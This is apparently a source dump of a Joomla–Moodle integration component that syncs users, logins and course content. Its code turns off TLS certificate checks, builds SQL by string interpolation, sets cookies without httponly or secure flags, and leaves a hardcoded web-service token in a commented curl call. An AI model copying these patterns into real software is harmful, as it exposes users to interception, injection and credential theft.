// translate_need
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
return true;
}
function fetchMoodleUsers()
{
JLoader::register('MoojlaHelper', JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/moojla.php');
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
$data = array(
"wsfunction" =>
"moojla_get_users_minimal",
"moodlewsrestformat" => "json"
);
$musers =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
$app = JFactory::getApplication();
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__users'));
$db->setQuery($query);
$usermaps = $db->loadAssocList('username');
$params = JComponentHelper::getParams('com_moojla');
$create_user_on_fetch =
trim($params->get('create_user_on_fetch'));
$total_fetch_moodle_users =
$params->get('total_fetch_moodle_users', 1000);
$number_per_request_fetch_moodle_users =
$params->get('number_per_request_fetch_moodle_users', 50);
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_user_map'));
$db->setQuery($query);
$user_maps = $db->loadAssocList('mid');
$musers = array_filter($musers, function ($v) use ($user_maps) {
return !isset($user_maps[$v->id]);
});
if (isset($_GET['c'])) {
$c = $_GET['c'];
} else {
$c = 0;
}
$progress_percent = (($c / $total_fetch_moodle_users) * 100);
echo '<div class="progress">
<div class="progress-bar"
role="progressbar" aria-valuenow="70"
aria-valuemin="0"
aria-valuemax="100" style="
width:' . $progress_percent . '%;
float: left;
height: 100%;
font-size: 12px;
line-height: 20px;
color: #fff;
text-align: center;
background-color: #337ab7;
-webkit-box-shadow: inset 0 -1px 0
rgba(0,0,0,.15);
box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
-webkit-transition: width .6s ease;
-o-transition: width .6s ease;
transition: width .6s ease;">
' . floor($progress_percent) . '%
</div>
</div>';
foreach ($musers as $muser) {
if (!in_array($muser->username, ['admin',
'guest', 'superuser', 'moojla'])) {
if (array_key_exists($muser->username, $usermaps)) {
$mapArray = array(
"mid" => intval($muser->id),
"jid" =>
intval($usermaps[$muser->username]['id'])
);
MoojlaHelper::addToUserMap($mapArray);
} else {
if (1) {
$data = array(
"name" => $muser->firstname .
' ' . $muser->lastname,
"username" =>
$muser->username,
"password" =>
$muser->password,
"password2" =>
$muser->password,
"email" => $muser->email,
"block" => 0,
);
$newUser = MoojlaHelper::addJoomlaUser($data);
if ($newUser->status == "ok") {
$data = array(
'mid' => $muser->id,
'jid' => $newUser->id
);
$usermap = new MoojlaModelUser_map();
$usermap->save($data);
}
}
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id')));
$query->from($db->quoteName('#__moojla_user_map'));
$query->where($db->quoteName('mid') .
' = ' . $db->quote($muser->id));
$db->setQuery($query);
$muser_exist = $db->loadResult();
if (!$muser_exist) {
$mapArray = array(
"mid" => intval($muser->id),
"jid" => ''
);
MoojlaHelper::addToUserMap($mapArray);
}
}
$c++;
if ($c == $total_fetch_moodle_users) {
break;
}
if ($number_per_request_fetch_moodle_users != -1
&& $number_per_request_fetch_moodle_users != 0)
{
if ($c % $number_per_request_fetch_moodle_users == 0)
{
echo "<script>window.location =
'/administrator/index.php?option=com_moojla&view=user_maps&task=user_maps.fetchMoodleUsers&c=$c'</script>";
return 0;
}
}
}
}
$message = ($c) . ' ' .
JText::_('COM_MOOJLA_COMPLETELY_FETCHED');// translate_need
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
return true;
}
function syncToJoomla()
{
$app = JFactory::getApplication();
$cid = $this->input->get('cid', array(),
'array');
$cid = ArrayHelper::toInteger($cid);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('mid'));
$query->from($db->quoteName('#__moojla_user_map'));
$query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid) . ')');
$query->where($db->quoteName('mid') .' <>
""');
$query->where($db->quoteName('mid') .' <>
0');
$db->setQuery($query);
$musers = $db->loadColumn();
$data = array(
"wsfunction" =>
"moojla_trigger_create_users",
"moodlewsrestformat" => "json",
"userids" => array()
);
foreach($musers as $muser)
{
$data['userids'][] = array('id' =>
intval($muser));
}
// dump($data, "data");
$triggeringResult =
json_decode(MoojlaHelper::sendRequestToMoodle($data,
array("from_joomla" => 0))->response);
// dump($triggeringResult, "triggeringResult");
foreach($triggeringResult as $newuser)
{
$userId = JUserHelper::getUserId($newuser->username);
$mapdata = array(
"mid" => $newuser->id,
"jid" => $userId
);
MoojlaHelper::addToUserMap($mapdata);
}
$message = JText::_('COM_MOOJLA_COMPLETELY_FETCHED');//
translate_need
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
return true;
}
function fetchJoomlaUsers()
{
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
$app = JFactory::getApplication();
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_user_map'));
$db->setQuery($query);
$usermaps = $db->loadAssocList('jid');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__users'));
$db->setQuery($query);
$jusers = $db->loadAssocList('username');
// dump($jusers, "jusers");
foreach($jusers as $juser)
{
if(!in_array($juser['username'], ['admin',
'guest', 'superuser', 'moojla']))
{
if(!array_key_exists($juser['id'], $usermaps))
{
$mapArray = array(
"jid" => intval($juser['id'])
);
// dump($mapArray, "mapArray");
MoojlaHelper::addToUserMap($mapArray);
}
}
}
$params = JComponentHelper::getParams('com_moojla');
$create_user_on_fetch =
trim($params->get('create_user_on_fetch'));
$message = $log .
JText::_('COM_MOOJLA_COMPLETELY_FETCHED');// translate_need
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
return true;
}
function checkMoodleUser()
{
$cid = $this->input->get('cid', array(),
'array');
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$data = array(
"wsfunction" =>
"moojla_user_is_fully_setted",
"moodlewsrestformat" => "json",
"id" => $cid[0]
);
$triggeringResult =
MoojlaHelper::sendRequestToMoodle($data)->response;
print_r($triggeringResult);
// print_r($data);
die();
}
/***[/JCBGUI$$$$]***/
}
donwnloaded/index.html000064400000000054151165724400011043
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>helpers/headercheck.php000064400000004325151165724400011156
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage headercheck.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
class moojlaHeaderCheck
{
function js_loaded($script_name)
{
// UIkit check point
if (strpos($script_name,'uikit') !== false)
{
$app = JFactory::getApplication();
$getTemplateName =
$app->getTemplate('template')->template;
if (strpos($getTemplateName,'yoo') !== false)
{
return true;
}
}
$document = JFactory::getDocument();
$head_data = $document->getHeadData();
foreach (array_keys($head_data['scripts']) as $script)
{
if (stristr($script, $script_name))
{
return true;
}
}
return false;
}
function css_loaded($script_name)
{
// UIkit check point
if (strpos($script_name,'uikit') !== false)
{
$app = JFactory::getApplication();
$getTemplateName =
$app->getTemplate('template')->template;
if (strpos($getTemplateName,'yoo') !== false)
{
return true;
}
}
$document = JFactory::getDocument();
$head_data = $document->getHeadData();
foreach (array_keys($head_data['styleSheets']) as $script)
{
if (stristr($script, $script_name))
{
return true;
}
}
return false;
}
}helpers/html/batch_.php000064400000005100151165724400011104
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage batch_.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('JPATH_PLATFORM') or die;
/**
* Utility class to render a list view batch selection options
*
* @since 3.0
*/
abstract class JHtmlBatch_
{
/**
* ListSelection
*
* @var array
* @since 3.0
*/
protected static $ListSelection = array();
/**
* Render the batch selection options.
*
* @return string The necessary HTML to display the batch selection
options
*
* @since 3.0
*/
public static function render()
{
// Collect display data
$data = new stdClass;
$data->ListSelection = static::getListSelection();
// Create a layout object and ask it to render the batch selection
options
$layout = new JLayoutFile('batchselection');
$batchHtml = $layout->render($data);
return $batchHtml;
}
/**
* Method to add a list selection to the batch modal
*
* @param string $label Label for the menu item.
* @param string $name Name for the filter. Also used as id.
* @param string $options Options for the select field.
* @param bool $noDefault Don't the label as the empty option
*
* @return void
*
* @since 3.0
*/
public static function addListSelection($label, $name, $options,
$noDefault = false)
{
array_push(static::$ListSelection, array('label' => $label,
'name' => $name, 'options' => $options,
'noDefault' => $noDefault));
}
/**
* Returns an array of all ListSelection
*
* @return array
*
* @since 3.0
*/
public static function getListSelection()
{
return static::$ListSelection;
}
}
helpers/html/index.html000064400000000054151165724400011153
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>helpers/index.html000064400000000054151165724400010207
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>helpers/moojla.php000064400000300027151165724400010207
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moojla.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Language\Language;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
use PhpOffice\PhpSpreadsheet\IOFactory;
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
/**
* Moojla component helper.
*/
abstract class MoojlaHelper
{
/**
* Composer Switch
*
* @var array
*/
protected static $composer = array();
/**
* The Main Active Language
*
* @var string
*/
public static $langTag;
/***[JCBGUI.joomla_component.php_helper_both.29.$$$$]***/
public static function get_role_by_remoteid($remoteid, $role)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('mc.id as id, shortname, remoteid, cat_name,
catid, cost, summary_files, summary, fullname, e.jid, e.role');
$query->from($db->quoteName('#__moojla_enrolment',
'e'));
$query->join('inner',$db->quoteName('#__moojla_enrolment','ee').'
on
'.$db->quoteName('e.jid').'='.$db->quoteName('ee.jid'));
$query->join('inner',$db->quoteName('#__moojla_course','mc').'
on
'.$db->quoteName('mc.remoteid').'='.$db->quoteName('ee.moojlacourse'));
$query->where($db->quoteName('ee.moojlacourse').'!='.$remoteid);
$query->where($db->quoteName('e.moojlacourse').'='.$remoteid);
$query->where($db->quoteName('ee.role').'='.
$role);
$db->setQuery($query);
$result = $db->loadObjectList('remoteid');
return $result;
}
public static function addJoomlaUser($data) {
// $file_name = __DIR__. "/addJoomlaUser.txt";
// file_put_contents($file_name, print_r($data, true)."\n",
FILE_APPEND);
$result = new stdClass();
$result->id = 0;
// $app = JFactory::getApplication();
jimport('joomla.user.helper');
$userdata = array(
"name"=>trim(strval($data['name'])),
"username"=>trim(strval($data['username'])),
"password"=>trim(strval($data['password'])),
"password2"=>trim(strval($data['password'])),
"email"=>trim(strval($data['email'])),
"block"=>0,
);
foreach($userdata as $d)
{
if(trim(strval($d)) == "" || !$d)
unset($d);
}
$userdata["groups"] = array("2");
$user = new JUser;
//Write to database
if(!$user->bind($userdata)) {
$result->status = $user->getError();
return $result;
// $app->enqueueMessage($user->getError(), 'error');
// $app->redirect(JRoute::_($_SERVER['HTTP_REFERER'],
false));
}
//before save
$user->from_moodle = true;
if (!$user->save()) {
$result->status = $user->getError();
return $result;
// $app->enqueueMessage($user->getError(), 'error');
// $app->redirect(JRoute::_($_SERVER['HTTP_REFERER'],
false));
}
if(isset($data["moodle"]))
{
JPluginHelper::importPlugin("moojlaaditionalfields");
$dispatcher = JEventDispatcher::getInstance();
$dispatch_res = $dispatcher->trigger("addUserToJoomla",
array($data["moodle"], $user->id));
}
$userdata['userid'] = $user->id;
$result->status = "ok";
$result->id = $user->id;
return $result;
}
public static function updateJoomlaUser($data, $id) {
$result = new stdClass();
$result->id = $id;
jimport('joomla.user.helper');
$userdata = array(
"name"=>trim(strval($data['name'])),
"username"=>trim(strval($data['username'])),
"password"=>trim(strval($data['password'])),
"password2"=>trim(strval($data['password'])),
"email"=>trim(strval($data['email'])),
"block"=>0,
);
foreach($userdata as $d)
{
if(trim(strval($d)) == "" || !$d)
unset($d);
}
$userdata["groups"] = array("2");
$user = new JUser;
$user->load($id);
//Write to database
if(!$user->bind($userdata)) {
$result->status = $user->getError();
return $result;
}
$user->from_moodle = true;
if (!$user->save()) {
$result->status = $user->getError();
return $result;
}
$params = JComponentHelper::getParams('com_moojla');
$ads = trim($params->get('additional_data_source'));
if(isset($data["post"]))
{
$newdata = isset($data["moodle"]) ?
$data["moodle"] : $data["post"];
// if($ads == "jf")
// {
JPluginHelper::importPlugin("moojlaaditionalfields");
$dispatcher = JEventDispatcher::getInstance();
$dispatch_res = $dispatcher->trigger("addUserToJoomla",
array($newdata, $id));
// }
// else if($ads == "cb")
// {
// $file_name = __DIR__. "/updateJoomlaUser111111111.txt";
// file_put_contents($file_name, 'dispatch_res = ' .
print_r($dispatch_res, true)."\n", FILE_APPEND);
// }
}
$result->status = "ok";
return $result;
}
public static function deleteJoomlaUser($id) {
$result = new stdClass();
jimport('joomla.user.helper');
$user = new JUser;
$user->load($id);
if (!$user->delete()) {
$result->status = $user->getError();
return $result;
}
$result->status = "ok";
return $result;
}
/**
*
*
*
* $data and body are array with keys and values
*/
public static function sendRequestToMoodle($data, $body=array())
{
/*
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL =>
"http://atwh.ir/lms/webservice/rest/server.php?wsfunction=moojla_trigger_create_users&moodlewsrestformat=json&wstoken=1b7d4d04a7bff9cd676ae5e20cba6260&userids%5B0%5D%5Bid%5D=428",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS =>"{}",
CURLOPT_HTTPHEADER => array(
"Content-Type: application/json"
),
));
$response = curl_exec($curl);
curl_close($curl);
echo $response;
*/
/*
*/
$postField = new stdClass();
$postField->from_joomla = 1;
foreach($body as $key => $value)
{
$postField->$key = $value;
if(!$value)
unset($postField->$key);
}
$postField = json_encode($postField);
$params = JComponentHelper::getParams('com_moojla');
$moodle_url= trim($params->get('moodle_url'));
$moodle_token = trim($params->get('moodle_token'));
$data["wstoken"] = $moodle_token;
$url = $moodle_url . "webservice/rest/server.php?" .
http_build_query($data);
//$url = urldecode($url);
// dump($url, "url");
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => $postField,
CURLOPT_HTTPHEADER => array(
"Content-Type: application/json"
),
));
$response = curl_exec($curl);
$error = curl_error($curl);
curl_close($curl);
$output = new stdClass();
$output->response = $response;
$output->error = $error;
return $output;
}
public static function addToUserMap($data){
if(!$data['jid'])
$data['jid'] = 0;
if(!$data['mid'])
$data['mid'] = 0;
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query = "SELECT * FROM `#__moojla_user_map` WHERE ((jid > 0
AND jid = '{$data['jid']}') OR (mid > 0 AND mid =
'{$data['mid']}')) AND published = 1";
$db->setQuery($query);
$usermapres = $db->loadAssocList()[0];
if(isset($usermapres['id']))
$id = $usermapres['id'];
else
$id = '';
if($data['jid'] || $data['mid'])
{
if($id)
$data['id'] = $id;
$usermap = new MoojlaModelUser_map();
$usermap->save($data);
}
if($data['jid'] != 0 && $data['mid'] != 0)
{
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
$query = $db->getQuery(true);
$query->select('id');
$query->from($db->quoteName('#__moojla_user_map'));
$query->where($db->quoteName('jid') .' = '
. $db->quote($data['jid']));
$query->where($db->quoteName('mid') .' =
0');
$db->setQuery($query);
$rowToDel = $db->loadResult();
if($rowToDel)
{
$usermap = new MoojlaModelUser_map();
$usermap->myDelete($rowToDel);
}
$query = $db->getQuery(true);
$query->select('id');
$query->from($db->quoteName('#__moojla_user_map'));
$query->where($db->quoteName('mid') .' = '
. $db->quote($data['mid']));
$query->where($db->quoteName('jid') .' =
0');
$db->setQuery($query);
$rowToDel = $db->loadResult();
if($rowToDel)
{
$usermap = new MoojlaModelUser_map();
$usermap->myDelete($rowToDel);
}
}
}
public static function deleteFromUserMap($id){
/*
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$conditions = array($db->quoteName('jid') . ' =
' . $db->quote($id));
$query->delete($db->quoteName('#__moojla_user_map'));
$query->where($conditions);
$db->setQuery($query);
$result = $db->execute();
*/
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
$usermap = new MoojlaModelUser_map();
$usermap->myDelete($id);
}
public static function joomlaToMoodleID($id){
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('mid')));
$query->from($db->quoteName('#__moojla_user_map'));
$query->where($db->quoteName('jid') . ' = ' .
$db->quote($id));
$db->setQuery($query);
$mid = $db->loadResult();
return $mid;
}
public static function loginToJoomla($username, $password,
$from_moodle=0){
$mainframe = JFactory::getApplication('site');
$user_id = JUserHelper::getUserId($username);
$user = JFactory::getUser($user_id);
if (!$user)
return false;
if ($user->block)
return false;
$options = array ( 'remember' => '1',
'silent' => 1);
$credentials = array ( 'username' => $username,
'password' => $password, "from_moodle" =>
$from_moodle);
if ($mainframe->login( $credentials, $options ))
return true;
return false;
}
public static function logoutFromJoomla($username, $from_moodle=0){
$mainframe = JFactory::getApplication('site');
$id = JUserHelper::getUserId($username);
$error = $mainframe->logout($id, array ('clientid' =>
0, "from_moodle" => $from_moodle));
$session = JFactory::getSession();
$sessid = $session->getId();
return $sessid;
}
public static function loginToMoodle($username, $token)
{
$params = JComponentHelper::getParams('com_moojla');
$moodle_url = trim($params->get('moodle_url'));
$moodle_cookie_path =
trim($params->get('moodle_cookie_path'));
$config = JFactory::getConfig();
$temppath = $config->get('tmp_path');
$file = $temppath . "/" . JUserHelper::genRandomPassword() .
".txt";
$postField = array ( 'username' => $username,
'token' => $token, "from_joomla" => 1);
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => $moodle_url .
"auth/moojla/loginHandler.php",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => $file,
CURLOPT_HEADER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => $postField,
));
$response = curl_exec($curl);
$error = curl_error($curl);
curl_close($curl);
$output = new stdClass();
$output->response = $response;
$output->error = $error;
preg_match_all('/^Set-Cookie: (.*?); path=(.*)/m', $response,
$match);
$cookie_options = array (
// 'path' => $moodle_url,
'path' => $moodle_cookie_path,
// 'secure' => true,
'secure' => false,
'httponly' => false,
// 'samesite' => 'None'
);
foreach($match[1] as $key => $m)
{
$cookie = explode('=', $m);
setcookie($cookie[0], $cookie[1], $cookie_options);
}
if (file_exists($file))
unlink ($file);
return $output;
}
public static function logoutFromMoodle($username){
$app = JFactory::getApplication('site');
$cookieName = 'joomla_remember_me_' .
JUserHelper::getShortHashedUserAgent();
if (!$app->input->cookie->get($cookieName))
{
$cookieName = JUserHelper::getShortHashedUserAgent();
}
$cookieValue = $app->input->cookie->get($cookieName);
if ($cookieValue)
{
$cookieArray = explode('.', $cookieValue);
$filter = new JFilterInput;
$series = $filter->clean($cookieArray[1], 'ALNUM');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query
->delete('#__user_keys')
->where($db->quoteName('series') . ' = '
. $db->quote($series));
$app->input->cookie->set(
$cookieName,
false,
time() - 42000,
$app->get('cookie_path', '/'),
$app->get('cookie_domain')
);
}
$params = JComponentHelper::getParams('com_moojla');
$moodle_url = trim($params->get('moodle_url'));
$moodle_cookie_path=
trim($params->get('moodle_cookie_path'));
//session_get_cookie_params
unset($_SESSION['USER']);
unset($_SESSION['SESSION']);
$cookie_options = array (
//'path' => $moodle_url,
'path' => $moodle_cookie_path,
//'secure' => true,
'httponly' => false,
//'samesite' => 'None',
'expires'=> time() - 3600
);
setcookie('MoodleSession', '',$cookie_options);
unset($_SESSION);
}
public static function changeObjectKey($object, $oldkey, $newkey)
{
if(isset($object->$oldkey))
{
$object->$newkey = $object->$oldkey;
unset($object->$oldkey);
}
else{
$object->$newkey = false;
}
}
public static function getLoginUrl($return)
{
$loginUrl = 'index.php?option=com_users&view=login' .
($return ? ('&return=' . base64_encode($return)) :
'');
return $loginUrl;
}
public static function updateCourseContents($sections, $courseid)
{
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/section.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/module.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/content.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/module.php";
foreach($sections as $section)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id')))
->from($db->quoteName('#__moojla_section'))
->where($db->quoteName('section_id') . ' =
' . $db->quote($section->id));
$db->setQuery($query);
$sectionResult = $db->loadResult();
$sectionData = array(
"courseid" => $courseid,
"name" => $section->name,
"section_id" => $section->id,
"summary" => $section->summary,
"visible" => $section->visible,
"published" => $section->visible,
"uservisible" => $section->uservisible
);
if($sectionResult)
{
$sectionData["id"] = $sectionResult; //for update
}
$sectionModel = new MoojlaModelsection;
$sectionModel->save($sectionData);
foreach($section->modules as $module)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id')))
->from($db->quoteName('#__moojla_module'))
->where($db->quoteName('module_id') . ' =
' . $db->quote($module->id));
$db->setQuery($query);
$moduleResult = $db->loadResult();
$moduleData = array(
"module_section_id" => $section->id,
"name" => $module->name,
"module_id" => $module->id,
"description" => isset($module->description) ?
$module->description : "",
"visible" => $module->visible,
"published" => $module->visible,
"uservisible" => $module->uservisible,
"modname" => $module->modname,
"url" => $module->url,
"modicon" => $module->modicon,
);
if($moduleResult)
{
$moduleData["id"] = $moduleResult;
}
$moduleModel = new MoojlaModelmodule;
$moduleModel->save($moduleData);
if(isset($module->contents))
{
$contents = current($module->contents);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id')))
->from($db->quoteName('#__moojla_content'))
->where($db->quoteName('contents_module_id') .
' = ' . $db->quote($module->id));
$db->setQuery($query);
$contentResult = $db->loadResult();
$contentData = array(
"contents_module_id" => $module->id,
"type" => $contents->type,
"filename" => isset($contents->filename) ?
$contents->filename : "",
"filesize" => isset($contents->filesize) ?
$contents->filesize : 0,
"fileurl" => isset($contents->fileurl) ?
$contents->fileurl : "",
"mimetype" => isset($contents->mimetype) ?
$contents->mimetype : "",
);
if($contentResult)
{
$contentData["id"] = $contentResult;
}
$contentModel = new MoojlaModelcontent;
$contentModel->save($contentData);
}
}
}
}
public static function createButton($label, $id, $loginurl,
$registrationurl)
{
return "<input type='button'
class='moojla-login-button' id='moojla-start-modal'
value='".$label."'>
<div id='moojla-modal'
class='moojla-login-modal'>
<div class='moojla-login-modal-content animate'>
<span id='logintabbtn'
class='modal_tab_button_login_registration
active_tab_login_registration'>
ورود
</span>
<span id='regtabbtn'
class='modal_tab_button_login_registration'>
ثبت نام
</span>
<div id='moojla-login-modal-content'
class='display_content_log_reg show_content'>
<img
src='/components/com_moojla/assets/images/loading-modal.gif'
id='loadinggif'>
</div>
<div id='moojla-reg-modal-content'
class='display_content_log_reg'>
<img
src='/components/com_moojla/assets/images/loading-modal.gif'
id='loadinggif'>
</div>
</div>
</div>
<script>
loginbtn = jQuery('#logintabbtn');
regbtn = jQuery('#regtabbtn');
l = jQuery('#moojla-login-modal-content');
r = jQuery('#moojla-reg-modal-content');
var moojla_login_modal =
document.getElementById('moojla-modal');
loginbtn.click(function(e){
// l.show();
// r.hide();
});
regbtn.click(function(e){
// r.show();
// l.hide();
jQuery('#member-registration > div > div >
a').click(function(e) {
moojla_login_modal.style.display = 'none';
return false;
});
});
window.onclick = function(event) {
if (event.target == moojla_login_modal) {
moojla_login_modal.style.display = 'none';
}
}
document.getElementById('moojla-start-modal').onclick =
function() {
moojla_login_modal.style.display ='block';
l = jQuery('#moojla-login-modal-content');
l.load('".$loginurl."&return=".base64_encode('index.php?option=com_moojla&view=coursedetail&id='.$id)."',
function(){
loadinggif = jQuery('#loadinggif');
loadinggif.hide();
});
r = jQuery('#moojla-reg-modal-content');
r.load('".$registrationurl."&return=".base64_encode('index.php?option=com_moojla&view=coursedetail&id='.$id)."',
function(){
loadinggif = jQuery('#loadinggif');
loadinggif.hide();
regform = jQuery('#member-registration');
oldaction = regform[0].getAttribute('action')
regform[0].setAttribute('action', oldaction +
'&return=' +
'".base64_encode('index.php?option=com_moojla&view=coursedetail&id='.$id)."')
});
// r.hide();
}
jQuery('#member-registration > div > div >
a').click(function(e) {
moojla_login_modal.style.display = 'none';
return false;
});
</script>";
}
public static function pageModal($btntitle, $courseid, $modid,
$pageheader, $content, $pagefooter)
{
$jid = JFactory::getUser()->id;
$mid = MoojlaHelper::joomlaToMoodleID($jid);
return "<style>
/* The Modal (background) */
.pageModal-$modid {
display: none; /* Hidden by default */
position: fixed; /* Stay in place */
z-index: 10000; /* Sit on top */
padding-top: 100px; /* Location of the box */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
overflow: auto; /* Enable scroll if needed */
background-color: rgb(0,0,0); /* Fallback color */
background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
}
/* Modal Content */
.pageModal-content-$modid {
position: relative;
background-color: #fefefe;
margin: auto;
padding: 0 20px;
border: 1px solid #888;
width: 80%;
box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0
rgba(0,0,0,0.19);
-webkit-animation-name: animatetop;
-webkit-animation-duration: 0.4s;
animation-name: animatetop;
animation-duration: 0.4s
}
/* Add Animation */
@-webkit-keyframes animatetop {
from {top:-300px; opacity:0}
to {top:0; opacity:1}
}
@keyframes animatetop {
from {top:-300px; opacity:0}
to {top:0; opacity:1}
}
/* The Close Button */
.close {
color: gray;
float: right;
font-size: 28px;
font-weight: bold;
}
.close:hover,
.close:focus {
color: #000;
text-decoration: none;
cursor: pointer;
}
.lmskaran-closeModal {
display: inline-flex;
margin-top: 10px;
cursor: pointer;
}
.lmskaran-closeModal > i {
color: red;
font-size: 30px;
}
</style>
<!-- Trigger/Open The Modal -->
<button id='page-$modid'>$btntitle</button>
<!-- The Modal -->
<div id='pageModal-$modid'
class='pageModal-$modid'>
<!-- Modal content -->
<div class='pageModal-content-$modid'>
<div class='pageModal-header-$modid'>
<div class='lmskaran-closeModal'><i
class='fas fa-times'></i></div>
